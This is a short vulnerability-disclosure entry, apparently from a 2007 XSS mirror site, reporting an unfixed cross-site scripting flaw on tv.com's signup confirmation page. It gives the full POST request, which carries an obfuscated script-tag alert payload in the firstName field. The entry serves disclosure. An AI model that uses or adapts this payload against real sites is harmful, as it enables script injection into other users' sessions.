Security researcher Uber0n, has submitted on 18/12/2007 a cross-site-scripting (XSS) vulnerability affecting www.tv.com, which at the time of submission ranked 405 on the web according to Alexa. 
We manually validated and published a mirror of this vulnerability on 21/12/2007. It is currently unfixed. 
If you believe that this security issue has been corrected, please send us an e-mail. | 
 
              | Date submitted: 18/12/2007 | 
Date published: 21/12/2007 | 
Fixed? Mail us! | Status:   UNFIXED |  
 
| Author: Uber0n | 
Domain: www.tv.com | 
Category: XSS | 
Pagerank: 405 | 
 
 
 
| URL: http://www.tv.com/signup/confirm | 
 
 
| POST: mode=submit&firstName=%22%3E%27%3E%3CScRiPt%3Ealert%28123%29%3C%2FsCrIpT%3E%22%27&lastName=&postalCo de=&country=Please+select+a+country&dob%5Bmonth%5D=&dob%5Bday%5D=&dob%5Byear%5D=&userName=&password= &passwordConf=&emailAddress=&e825=on&e824=on&signup_path=http%3A%2F%2Fauthorize.tv.com%2F1324-4-90.h tml | 
 
| 
Click here to view the mirror
 | 
 
| 
 | 
 
 
         
 |